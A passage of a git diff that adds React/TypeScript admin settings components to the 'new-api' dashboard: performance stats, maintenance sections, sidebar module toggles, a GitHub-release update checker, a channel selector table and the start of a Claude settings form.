+                    <span className='text-muted-foreground'>
+                      {t('GC Count')}:
+                    </span>{' '}
+                    {stats.memory_stats.num_gc}
+                  </div>
+                  <div>
+                    <span className='text-muted-foreground'>Goroutines:</span>{' '}
+                    {stats.memory_stats.num_goroutine}
+                  </div>
+                </div>
+              </div>
+            )}
+
+            {stats.disk_cache_info && (
+              <div className='rounded-lg border p-4'>
+                <p className='mb-2 text-sm font-medium'>
+                  {t('Cache Directory Info')}
+                </p>
+                <div className='grid grid-cols-3 gap-2 text-xs'>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Cache Directory')}:
+                    </span>{' '}
+                    <span className='font-mono'>
+                      {stats.disk_cache_info.path}
+                    </span>
+                  </div>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Directory File Count')}:
+                    </span>{' '}
+                    {stats.disk_cache_info.file_count}
+                  </div>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Directory Total Size')}:
+                    </span>{' '}
+                    {formatBytes(stats.disk_cache_info.total_size)}
+                  </div>
+                </div>
+              </div>
+            )}
+          </>
+        )}
+      </div>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/section-registry.tsx b/new-api/web/default/src/features/system-settings/maintenance/section-registry.tsx
new file mode 100644
index 0000000..cc86f93
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/section-registry.tsx
@@ -0,0 +1,129 @@
+import type { MaintenanceSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import {
+  parseHeaderNavModules,
+  parseSidebarModulesAdmin,
+  serializeHeaderNavModules,
+  serializeSidebarModulesAdmin,
+} from './config'
+import { HeaderNavigationSection } from './header-navigation-section'
+import { LogSettingsSection } from './log-settings-section'
+import { NoticeSection } from './notice-section'
+import { PerformanceSection } from './performance-section'
+import { SidebarModulesSection } from './sidebar-modules-section'
+import { UpdateCheckerSection } from './update-checker-section'
+
+const MAINTENANCE_SECTIONS = [
+  {
+    id: 'update-checker',
+    titleKey: 'System maintenance',
+    descriptionKey: 'Check for system updates',
+    build: (
+      _settings: MaintenanceSettings,
+      currentVersion?: string | null,
+      startTime?: number | null
+    ) => (
+      <UpdateCheckerSection
+        currentVersion={currentVersion}
+        startTime={startTime}
+      />
+    ),
+  },
+  {
+    id: 'notice',
+    titleKey: 'System Notice',
+    descriptionKey: 'Configure system maintenance notice',
+    build: (settings: MaintenanceSettings) => (
+      <NoticeSection defaultValue={settings.Notice ?? ''} />
+    ),
+  },
+  {
+    id: 'logs',
+    titleKey: 'Log Maintenance',
+    descriptionKey: 'Configure log consumption settings',
+    build: (settings: MaintenanceSettings) => (
+      <LogSettingsSection
+        defaultEnabled={Boolean(settings.LogConsumeEnabled)}
+      />
+    ),
+  },
+  {
+    id: 'header-navigation',
+    titleKey: 'Header navigation',
+    descriptionKey: 'Configure header navigation modules',
+    build: (settings: MaintenanceSettings) => {
+      const headerNavConfig = parseHeaderNavModules(settings.HeaderNavModules)
+      const headerNavSerialized = serializeHeaderNavModules(headerNavConfig)
+      return (
+        <HeaderNavigationSection
+          config={headerNavConfig}
+          initialSerialized={headerNavSerialized}
+        />
+      )
+    },
+  },
+  {
+    id: 'sidebar-modules',
+    titleKey: 'Sidebar modules',
+    descriptionKey: 'Configure sidebar modules for admin',
+    build: (settings: MaintenanceSettings) => {
+      const sidebarConfig = parseSidebarModulesAdmin(
+        settings.SidebarModulesAdmin
+      )
+      const sidebarSerialized = serializeSidebarModulesAdmin(sidebarConfig)
+      return (
+        <SidebarModulesSection
+          config={sidebarConfig}
+          initialSerialized={sidebarSerialized}
+        />
+      )
+    },
+  },
+  {
+    id: 'performance',
+    titleKey: 'Performance',
+    descriptionKey: 'Disk cache, system monitoring and performance stats',
+    build: (settings: MaintenanceSettings) => (
+      <PerformanceSection
+        defaultValues={{
+          'performance_setting.disk_cache_enabled':
+            settings['performance_setting.disk_cache_enabled'] ?? false,
+          'performance_setting.disk_cache_threshold_mb':
+            settings['performance_setting.disk_cache_threshold_mb'] ?? 10,
+          'performance_setting.disk_cache_max_size_mb':
+            settings['performance_setting.disk_cache_max_size_mb'] ?? 1024,
+          'performance_setting.disk_cache_path':
+            settings['performance_setting.disk_cache_path'] ?? '',
+          'performance_setting.monitor_enabled':
+            settings['performance_setting.monitor_enabled'] ?? false,
+          'performance_setting.monitor_cpu_threshold':
+            settings['performance_setting.monitor_cpu_threshold'] ?? 90,
+          'performance_setting.monitor_memory_threshold':
+            settings['performance_setting.monitor_memory_threshold'] ?? 90,
+          'performance_setting.monitor_disk_threshold':
+            settings['performance_setting.monitor_disk_threshold'] ?? 95,
+        }}
+      />
+    ),
+  },
+] as const
+
+export type MaintenanceSectionId = (typeof MAINTENANCE_SECTIONS)[number]['id']
+
+const maintenanceRegistry = createSectionRegistry<
+  MaintenanceSectionId,
+  MaintenanceSettings,
+  [string | null | undefined, number | null | undefined]
+>({
+  sections: MAINTENANCE_SECTIONS,
+  defaultSection: 'update-checker',
+  basePath: '/system-settings/maintenance',
+  urlStyle: 'path',
+})
+
+export const MAINTENANCE_SECTION_IDS = maintenanceRegistry.sectionIds
+export const MAINTENANCE_DEFAULT_SECTION = maintenanceRegistry.defaultSection
+export const getMaintenanceSectionNavItems =
+  maintenanceRegistry.getSectionNavItems
+export const getMaintenanceSectionContent =
+  maintenanceRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/maintenance/sidebar-modules-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/sidebar-modules-section.tsx
new file mode 100644
index 0000000..35b4267
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/sidebar-modules-section.tsx
@@ -0,0 +1,259 @@
+import { useEffect, useMemo } from 'react'
+import { useForm } from 'react-hook-form'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import {
+  SIDEBAR_MODULES_DEFAULT,
+  type SidebarModulesAdminConfig,
+  serializeSidebarModulesAdmin,
+} from './config'
+
+type SidebarModulesSectionProps = {
+  config: SidebarModulesAdminConfig
+  initialSerialized: string
+}
+
+type SidebarFormValues = SidebarModulesAdminConfig
+
+const toTitleCase = (value: string) =>
+  value.replace(/[_-]+/g, ' ').replace(/\b\w/g, (char) => char.toUpperCase())
+
+export function SidebarModulesSection({
+  config,
+  initialSerialized,
+}: SidebarModulesSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const sectionMeta: Record<string, { title: string; description: string }> = {
+    chat: {
+      title: t('Chat area'),
+      description: t('Playground experiments and live conversations.'),
+    },
+    console: {
+      title: t('Console area'),
+      description: t('Dashboards, tokens, and usage analytics.'),
+    },
+    personal: {
+      title: t('Personal area'),
+      description: t('Wallet management and personal preferences.'),
+    },
+    admin: {
+      title: t('Admin area'),
+      description: t('Global configuration and administrative tools.'),
+    },
+  }
+
+  const moduleMeta: Record<
+    string,
+    Record<string, { title: string; description: string }>
+  > = {
+    chat: {
+      playground: {
+        title: t('Playground'),
+        description: t('Experiment with prompts and models in real time.'),
+      },
+      chat: {
+        title: t('Chat'),
+        description: t('Access previous conversations and start new ones.'),
+      },
+    },
+    console: {
+      detail: {
+        title: t('Dashboard'),
+        description: t('Aggregated usage metrics and trend charts.'),
+      },
+      token: {
+        title: t('Token management'),
+        description: t('Create, revoke, and audit API tokens.'),
+      },
+      log: {
+        title: t('Usage logs'),
+        description: t('Detailed request logs for investigations.'),
+      },
+      midjourney: {
+        title: t('Drawing logs'),
+        description: t('History of Midjourney-style image tasks.'),
+      },
+      task: {
+        title: t('Task logs'),
+        description: t('Background job tracker for queued work.'),
+      },
+    },
+    personal: {
+      topup: {
+        title: t('Wallet'),
+        description: t('Top up balance and view billing history.'),
+      },
+      personal: {
+        title: t('Profile'),
+        description: t('Personal settings and profile management.'),
+      },
+    },
+    admin: {
+      channel: {
+        title: t('Channels'),
+        description: t('Configure upstream providers and routing.'),
+      },
+      models: {
+        title: t('Models'),
+        description: t('Manage catalog visibility and pricing.'),
+      },
+      redemption: {
+        title: t('Redeem codes'),
+        description: t('Create and review invite or credit codes.'),
+      },
+      user: {
+        title: t('Users'),
+        description: t('Administer user accounts and roles.'),
+      },
+      setting: {
+        title: t('System settings'),
+        description: t('Advanced platform configuration.'),
+      },
+      subscription: {
+        title: t('Subscription Management'),
+        description: t('Manage subscription plans and pricing.'),
+      },
+    },
+  }
+  const formDefaults = useMemo(() => config, [config])
+
+  const form = useForm<SidebarFormValues>({
+    defaultValues: formDefaults,
+  })
+
+  useEffect(() => {
+    form.reset(formDefaults)
+  }, [formDefaults, form])
+
+  const onSubmit = async (values: SidebarFormValues) => {
+    const serialized = serializeSidebarModulesAdmin(values)
+    if (serialized === initialSerialized) {
+      return
+    }
+
+    await updateOption.mutateAsync({
+      key: 'SidebarModulesAdmin',
+      value: serialized,
+    })
+  }
+
+  const resetToDefault = () => {
+    form.reset(SIDEBAR_MODULES_DEFAULT)
+  }
+
+  const sections = Object.entries(config)
+
+  return (
+    <SettingsSection
+      title={t('Sidebar modules')}
+      description={t(
+        'Control which sidebar areas and modules are available to all users.'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          {sections.map(([sectionKey, sectionConfig]) => {
+            const sectionInfo = sectionMeta[sectionKey] ?? {
+              title: toTitleCase(sectionKey),
+              description: t('Custom sidebar section'),
+            }
+            const modules = Object.entries(sectionConfig).filter(
+              ([moduleKey]) => moduleKey !== 'enabled'
+            )
+
+            return (
+              <div key={sectionKey} className='rounded-lg border p-4'>
+                <FormField
+                  control={form.control}
+                  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                  name={`${sectionKey}.enabled` as any}
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5 pe-4'>
+                        <FormLabel className='text-base'>
+                          {sectionInfo.title}
+                        </FormLabel>
+                        <FormDescription>
+                          {sectionInfo.description}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={Boolean(field.value)}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <div className='mt-4 grid gap-4 md:grid-cols-2'>
+                  {modules.map(([moduleKey]) => {
+                    const moduleInfo = moduleMeta[sectionKey]?.[moduleKey] ?? {
+                      title: toTitleCase(moduleKey),
+                      description: t('Custom module'),
+                    }
+                    return (
+                      <FormField
+                        key={`${sectionKey}.${moduleKey}`}
+                        control={form.control}
+                        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                        name={`${sectionKey}.${moduleKey}` as any}
+                        render={({ field }) => (
+                          <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                            <div className='space-y-0.5 pe-4'>
+                              <FormLabel className='text-base'>
+                                {moduleInfo.title}
+                              </FormLabel>
+                              <FormDescription>
+                                {moduleInfo.description}
+                              </FormDescription>
+                            </div>
+                            <FormControl>
+                              <Switch
+                                checked={Boolean(field.value)}
+                                onCheckedChange={field.onChange}
+                                disabled={
+                                  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                                  !form.watch(`${sectionKey}.enabled` as any)
+                                }
+                              />
+                            </FormControl>
+                          </FormItem>
+                        )}
+                      />
+                    )
+                  })}
+                </div>
+              </div>
+            )
+          })}
+
+          <div className='flex flex-wrap gap-3'>
+            <Button type='button' variant='outline' onClick={resetToDefault}>
+              {t('Reset to default')}
+            </Button>
+            <Button type='submit' disabled={updateOption.isPending}>
+              {updateOption.isPending
+                ? t('Saving...')
+                : t('Save sidebar modules')}
+            </Button>
+          </div>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/update-checker-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/update-checker-section.tsx
new file mode 100644
index 0000000..9a73ff1
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/update-checker-section.tsx
@@ -0,0 +1,178 @@
+import { useState } from 'react'
+import { ExternalLinkIcon, RefreshCcwIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { formatTimestamp, formatTimestampToDate } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Markdown } from '@/components/ui/markdown'
+import { SettingsSection } from '../components/settings-section'
+
+type ReleaseInfo = {
+  tag_name: string
+  name?: string
+  body?: string
+  html_url?: string
+  published_at?: string
+}
+
+type UpdateCheckerSectionProps = {
+  currentVersion?: string | null
+  startTime?: number | null
+}
+
+export function UpdateCheckerSection({
+  currentVersion,
+  startTime,
+}: UpdateCheckerSectionProps) {
+  const { t } = useTranslation()
+  const [checking, setChecking] = useState(false)
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [release, setRelease] = useState<ReleaseInfo | null>(null)
+
+  const uptime = startTime ? formatTimestamp(startTime) : t('Unknown')
+  const version = currentVersion || t('Unknown')
+
+  const handleCheckUpdates = async () => {
+    setChecking(true)
+    try {
+      const response = await fetch(
+        'https://api.github.com/repos/Calcium-Ion/new-api/releases/latest',
+        {
+          headers: {
+            Accept: 'application/vnd.github+json',
+            'User-Agent': 'new-api-dashboard',
+          },
+        }
+      )
+
+      if (!response.ok) {
+        throw new Error(t('Failed to contact GitHub releases API'))
+      }
+
+      const data = (await response.json()) as ReleaseInfo
+      if (!data?.tag_name) {
+        throw new Error(t('Unexpected release payload'))
+      }
+
+      if (currentVersion && data.tag_name === currentVersion) {
+        toast.success(
+          t('You are running the latest version ({{version}}).', {
+            version: data.tag_name,
+          })
+        )
+        return
+      }
+
+      setRelease(data)
+      setDialogOpen(true)
+    } catch (error) {
+      const message =
+        error instanceof Error
+          ? error.message
+          : t('Failed to check for updates')
+      toast.error(message)
+    } finally {
+      setChecking(false)
+    }
+  }
+
+  const goToRelease = () => {
+    if (release?.html_url) {
+      window.open(release.html_url, '_blank', 'noopener,noreferrer')
+    }
+  }
+
+  return (
+    <>
+      <SettingsSection
+        title={t('System maintenance')}
+        description={t('Review current version and fetch release notes.')}
+      >
+        <div className='space-y-6'>
+          <div className='grid gap-4 md:grid-cols-2'>
+            <div className='rounded-lg border p-4'>
+              <div className='text-muted-foreground text-sm'>
+                {t('Current version')}
+              </div>
+              <div className='text-lg font-semibold'>{version}</div>
+            </div>
+            <div className='rounded-lg border p-4'>
+              <div className='text-muted-foreground text-sm'>
+                {t('Uptime since')}
+              </div>
+              <div className='text-lg font-semibold'>{uptime}</div>
+            </div>
+          </div>
+
+          <Button onClick={handleCheckUpdates} disabled={checking}>
+            {checking ? (
+              t('Checking updates...')
+            ) : (
+              <>
+                <RefreshCcwIcon className='me-2 h-4 w-4' />
+                {t('Check for updates')}
+              </>
+            )}
+          </Button>
+        </div>
+      </SettingsSection>
+
+      <Dialog open={dialogOpen} onOpenChange={setDialogOpen}>
+        <DialogContent className='max-h-[80vh] overflow-y-auto'>
+          <DialogHeader>
+            <DialogTitle>
+              {release?.tag_name
+                ? t('New version available: {{version}}', {
+                    version: release.tag_name,
+                  })
+                : t('Release details')}
+            </DialogTitle>
+            {release?.published_at && (
+              <DialogDescription>
+                {t('Published')}{' '}
+                {formatTimestampToDate(
+                  new Date(release.published_at).getTime(),
+                  'milliseconds'
+                )}
+              </DialogDescription>
+            )}
+          </DialogHeader>
+
+          <div className='space-y-4'>
+            {release?.body ? (
+              <Markdown>{release.body}</Markdown>
+            ) : (
+              <p className='text-muted-foreground text-sm'>
+                {t('No release notes provided.')}
+              </p>
+            )}
+          </div>
+
+          <DialogFooter>
+            <Button
+              type='button'
+              variant='secondary'
+              onClick={() => setDialogOpen(false)}
+            >
+              {t('Close')}
+            </Button>
+            {release?.html_url && (
+              <Button type='button' onClick={goToRelease}>
+                <ExternalLinkIcon className='me-2 h-4 w-4' />
+                {t('Open release')}
+              </Button>
+            )}
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/channel-selector-dialog.tsx b/new-api/web/default/src/features/system-settings/models/channel-selector-dialog.tsx
new file mode 100644
index 0000000..8649015
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/channel-selector-dialog.tsx
@@ -0,0 +1,388 @@
+import { useCallback, useEffect, useMemo, useState } from 'react'
+import {
+  flexRender,
+  getCoreRowModel,
+  getFilteredRowModel,
+  getPaginationRowModel,
+  useReactTable,
+  type ColumnDef,
+  type RowSelectionState,
+} from '@tanstack/react-table'
+import { Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { StatusBadge } from '@/components/status-badge'
+import type { UpstreamChannel } from '../types'
+import {
+  CHANNEL_STATUS_CONFIG,
+  DEFAULT_ENDPOINT,
+  ENDPOINT_OPTIONS,
+  MODELS_DEV_PRESET_ID,
+  OFFICIAL_CHANNEL_ID,
+} from './constants'
+
+type ChannelSelectorDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  channels: UpstreamChannel[]
+  selectedChannelIds: number[]
+  onSelectedChannelIdsChange: (ids: number[]) => void
+  channelEndpoints: Record<number, string>
+  onChannelEndpointsChange: (endpoints: Record<number, string>) => void
+  onConfirm: (selectedIds: number[]) => void
+}
+
+// Synthesized presets from `controller/ratio_sync.go` always carry stable
+// negative IDs, so matching by ID alone is reliable and self-documenting.
+function isOfficialChannel(channel: UpstreamChannel): boolean {
+  return (
+    channel.id === OFFICIAL_CHANNEL_ID || channel.id === MODELS_DEV_PRESET_ID
+  )
+}
+
+export function ChannelSelectorDialog({
+  open,
+  onOpenChange,
+  channels,
+  selectedChannelIds,
+  onSelectedChannelIdsChange,
+  channelEndpoints,
+  onChannelEndpointsChange,
+  onConfirm,
+}: ChannelSelectorDialogProps) {
+  const { t } = useTranslation()
+  const [search, setSearch] = useState('')
+  const [rowSelection, setRowSelection] = useState<RowSelectionState>({})
+
+  useEffect(() => {
+    if (!selectedChannelIds.length) {
+      setRowSelection({})
+      return
+    }
+
+    const availableChannelIds = new Set(channels.map((channel) => channel.id))
+    const newSelection: RowSelectionState = {}
+
+    selectedChannelIds.forEach((id) => {
+      if (availableChannelIds.has(id)) {
+        newSelection[id.toString()] = true
+      }
+    })
+
+    setRowSelection(newSelection)
+  }, [selectedChannelIds, channels])
+
+  const updateEndpoint = useCallback(
+    (channelId: number, endpoint: string) => {
+      onChannelEndpointsChange({
+        ...channelEndpoints,
+        [channelId]: endpoint,
+      })
+    },
+    [channelEndpoints, onChannelEndpointsChange]
+  )
+
+  const getEndpointType = (endpoint: string) => {
+    const option = ENDPOINT_OPTIONS.find((opt) => opt.value === endpoint)
+    return option ? endpoint : 'custom'
+  }
+
+  const columns = useMemo<ColumnDef<UpstreamChannel>[]>(
+    () => [
+      {
+        id: 'select',
+        header: ({ table }) => (
+          <Checkbox
+            checked={
+              table.getIsAllPageRowsSelected() ||
+              (table.getIsSomePageRowsSelected() && 'indeterminate')
+            }
+            onCheckedChange={(value) =>
+              table.toggleAllPageRowsSelected(!!value)
+            }
+            aria-label='Select all'
+          />
+        ),
+        cell: ({ row }) => (
+          <Checkbox
+            checked={row.getIsSelected()}
+            onCheckedChange={(value) => row.toggleSelected(!!value)}
+            aria-label='Select row'
+          />
+        ),
+        enableSorting: false,
+        enableHiding: false,
+      },
+      {
+        accessorKey: 'name',
+        header: t('Name'),
+        cell: ({ row }) => {
+          const name = row.getValue('name') as string
+          const channel = row.original
+          const isOfficial = isOfficialChannel(channel)
+
+          return (
+            <div className='flex items-center gap-2'>
+              <span className='font-medium'>{name}</span>
+              {isOfficial && (
+                <StatusBadge
+                  label={t('Official')}
+                  variant='success'
+                  size='sm'
+                  copyable={false}
+                />
+              )}
+            </div>
+          )
+        },
+      },
+      {
+        accessorKey: 'base_url',
+        header: t('Base URL'),
+        cell: ({ row }) => {
+          const url = row.getValue('base_url') as string
+          return (
+            <span
+              className='text-muted-foreground block max-w-xs truncate font-mono text-xs'
+              title={url}
+            >
+              {url}
+            </span>
+          )
+        },
+      },
+      {
+        accessorKey: 'status',
+        header: t('Status'),
+        cell: ({ row }) => {
+          const status = row.getValue('status') as number
+          const config =
+            CHANNEL_STATUS_CONFIG[status as keyof typeof CHANNEL_STATUS_CONFIG]
+
+          if (!config) {
+            return (
+              <StatusBadge
+                label={t('Unknown')}
+                variant='neutral'
+                size='sm'
+                copyable={false}
+              />
+            )
+          }
+
+          return (
+            <StatusBadge
+              label={config.label}
+              variant={config.variant}
+              size='sm'
+              copyable={false}
+            />
+          )
+        },
+      },
+      {
+        id: 'endpoint',
+        header: t('Sync Endpoint'),
+        cell: ({ row }) => {
+          const channel = row.original
+          const currentEndpoint =
+            channelEndpoints[channel.id] || DEFAULT_ENDPOINT
+          const endpointType = getEndpointType(currentEndpoint)
+
+          const handleTypeChange = (value: string) => {
+            if (value === 'custom') {
+              updateEndpoint(channel.id, '')
+            } else {
+              updateEndpoint(channel.id, value)
+            }
+          }
+
+          return (
+            <div className='flex items-center gap-2'>
+              <Select value={endpointType} onValueChange={handleTypeChange}>
+                <SelectTrigger className='h-8 w-32'>
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  {ENDPOINT_OPTIONS.map((option) => (
+                    <SelectItem key={option.value} value={option.value}>
+                      {option.label}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+              {endpointType === 'custom' && (
+                <Input
+                  value={currentEndpoint}
+                  onChange={(e) => updateEndpoint(channel.id, e.target.value)}
+                  placeholder={t('/your/endpoint')}
+                  className='h-8 w-40 font-mono text-xs'
+                />
+              )}
+            </div>
+          )
+        },
+      },
+    ],
+    [channelEndpoints, t, updateEndpoint]
+  )
+
+  const filteredChannels = useMemo(() => {
+    if (!search.trim()) return channels
+
+    const searchLower = search.toLowerCase()
+    return channels.filter(
+      (ch) =>
+        ch.name.toLowerCase().includes(searchLower) ||
+        ch.base_url.toLowerCase().includes(searchLower)
+    )
+  }, [channels, search])
+
+  const sortedChannels = useMemo(() => {
+    return [...filteredChannels].sort((a, b) => {
+      const aIsOfficial = isOfficialChannel(a)
+      const bIsOfficial = isOfficialChannel(b)
+      if (aIsOfficial && !bIsOfficial) return -1
+      if (!aIsOfficial && bIsOfficial) return 1
+      return 0
+    })
+  }, [filteredChannels])
+
+  const table = useReactTable({
+    data: sortedChannels,
+    columns,
+    state: {
+      rowSelection,
+    },
+    getRowId: (row) => row.id.toString(),
+    enableRowSelection: true,
+    onRowSelectionChange: setRowSelection,
+    getCoreRowModel: getCoreRowModel(),
+    getFilteredRowModel: getFilteredRowModel(),
+    getPaginationRowModel: getPaginationRowModel(),
+    initialState: {
+      pagination: {
+        pageSize: 10,
+      },
+    },
+  })
+
+  const handleConfirm = () => {
+    const selectedRows = table.getSelectedRowModel().rows
+    const selectedIds = selectedRows.map((row) => row.original.id)
+    onSelectedChannelIdsChange(selectedIds)
+    onOpenChange(false)
+    onConfirm(selectedIds)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='flex max-h-[90vh] max-w-[calc(100%-2rem)] flex-col sm:max-w-[90vw] xl:max-w-[1400px]'>
+        <DialogHeader>
+          <DialogTitle>{t('Select Sync Channels')}</DialogTitle>
+          <DialogDescription>
+            {t('Choose channels to sync upstream ratio configurations from')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='flex flex-1 flex-col gap-4 overflow-hidden'>
+          <div className='flex items-center gap-2'>
+            <div className='relative flex-1'>
+              <Search className='text-muted-foreground absolute top-1/2 left-2 h-4 w-4 -translate-y-1/2' />
+              <Input
+                placeholder={t('Search by name or URL...')}
+                value={search}
+                onChange={(e) => setSearch(e.target.value)}
+                className='ps-8'
+              />
+            </div>
+          </div>
+
+          <div className='flex-1 overflow-auto rounded-md border'>
+            <Table>
+              <TableHeader>
+                {table.getHeaderGroups().map((headerGroup) => (
+                  <TableRow key={headerGroup.id}>
+                    {headerGroup.headers.map((header) => (
+                      <TableHead key={header.id}>
+                        {header.isPlaceholder
+                          ? null
+                          : flexRender(
+                              header.column.columnDef.header,
+                              header.getContext()
+                            )}
+                      </TableHead>
+                    ))}
+                  </TableRow>
+                ))}
+              </TableHeader>
+              <TableBody>
+                {table.getRowModel().rows?.length ? (
+                  table.getRowModel().rows.map((row) => (
+                    <TableRow
+                      key={row.id}
+                      data-state={row.getIsSelected() && 'selected'}
+                    >
+                      {row.getVisibleCells().map((cell) => (
+                        <TableCell key={cell.id}>
+                          {flexRender(
+                            cell.column.columnDef.cell,
+                            cell.getContext()
+                          )}
+                        </TableCell>
+                      ))}
+                    </TableRow>
+                  ))
+                ) : (
+                  <TableRow>
+                    <TableCell
+                      colSpan={columns.length}
+                      className='h-24 text-center'
+                    >
+                      {t('No channels found')}
+                    </TableCell>
+                  </TableRow>
+                )}
+              </TableBody>
+            </Table>
+          </div>
+
+          <DataTablePagination table={table} />
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleConfirm}>{t('Confirm Selection')}</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/claude-settings-card.tsx b/new-api/web/default/src/features/system-settings/models/claude-settings-card.tsx
new file mode 100644
index 0000000..2f47d9a
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/claude-settings-card.tsx
@@ -0,0 +1,261 @@
+import { useEffect, useRef } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import {
+  formatJsonForTextarea,
+  normalizeJsonString,
+  validateJsonString,
+} from './utils'
+
+const schema = z.object({
+  claude: z.object({
+    model_headers_settings: z.string().superRefine((value, ctx) => {
+      const result = validateJsonString(value)
+      if (!result.valid) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: result.message || 'Invalid JSON',
+        })
+      }
+    }),
+    default_max_tokens: z.string().superRefine((value, ctx) => {
+      const result = validateJsonString(value)
+      if (!result.valid) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: result.message || 'Invalid JSON',
+        })
+      }
+    }),
+    thinking_adapter_enabled: z.boolean(),
+    thinking_adapter_budget_tokens_percentage: z.coerce
+      .number()
+      .min(0.1, { message: 'Must be at least 0.1' })
+      .max(1, { message: 'Must be 1 or less' }),
+  }),
+})
+
+type ClaudeSettingsFormValues = z.output<typeof schema>
+type ClaudeSettingsFormInput = z.input<typeof schema>
+
+type FlatClaudeSettings = {
+  'claude.model_headers_settings': string
+  'claude.default_max_tokens': string
+  'claude.thinking_adapter_enabled': boolean
+  'claude.thinking_adapter_budget_tokens_percentage': number
+}
+
+type ClaudeSettingsCardProps = {
+  defaultValues: ClaudeSettingsFormInput
+}
+
+export function ClaudeSettingsCard({ defaultValues }: ClaudeSettingsCardProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const normalizedDefaultsRef = useRef<FlatClaudeSettings>({
+    'claude.model_headers_settings': normalizeJsonString(
+      defaultValues.claude.model_headers_settings
+    ),
+    'claude.default_max_tokens': normalizeJsonString(
+      defaultValues.claude.default_max_tokens
+    ),
+    'claude.thinking_adapter_enabled':
+      defaultValues.claude.thinking_adapter_enabled,
+    'claude.thinking_adapter_budget_tokens_percentage': Number(
+      defaultValues.claude.thinking_adapter_budget_tokens_percentage
+    ),
+  })
+
+  const buildFormDefaults = (
+    values: ClaudeSettingsFormInput
+  ): ClaudeSettingsFormInput => ({
+    claude: {
+      model_headers_settings: formatJsonForTextarea(
+        values.claude.model_headers_settings
+      ),
+      default_max_tokens: formatJsonForTextarea(
+        values.claude.default_max_tokens
+      ),
+      thinking_adapter_enabled: values.claude.thinking_adapter_enabled,
+      thinking_adapter_budget_tokens_percentage:
+        values.claude.thinking_adapter_budget_tokens_percentage,
+    },
+  })
+
+  const form = useForm<
+    ClaudeSettingsFormInput,
+    unknown,
+    ClaudeSettingsFormValues
+  >({
+    resolver: zodResolver(schema),
+    defaultValues: buildFormDefaults(defaultValues),
+  })
+
+  useEffect(() => {
+    normalizedDefaultsRef.current = {
+      'claude.model_headers_settings': normalizeJsonString(
+        defaultValues.claude.model_headers_settings
+      ),
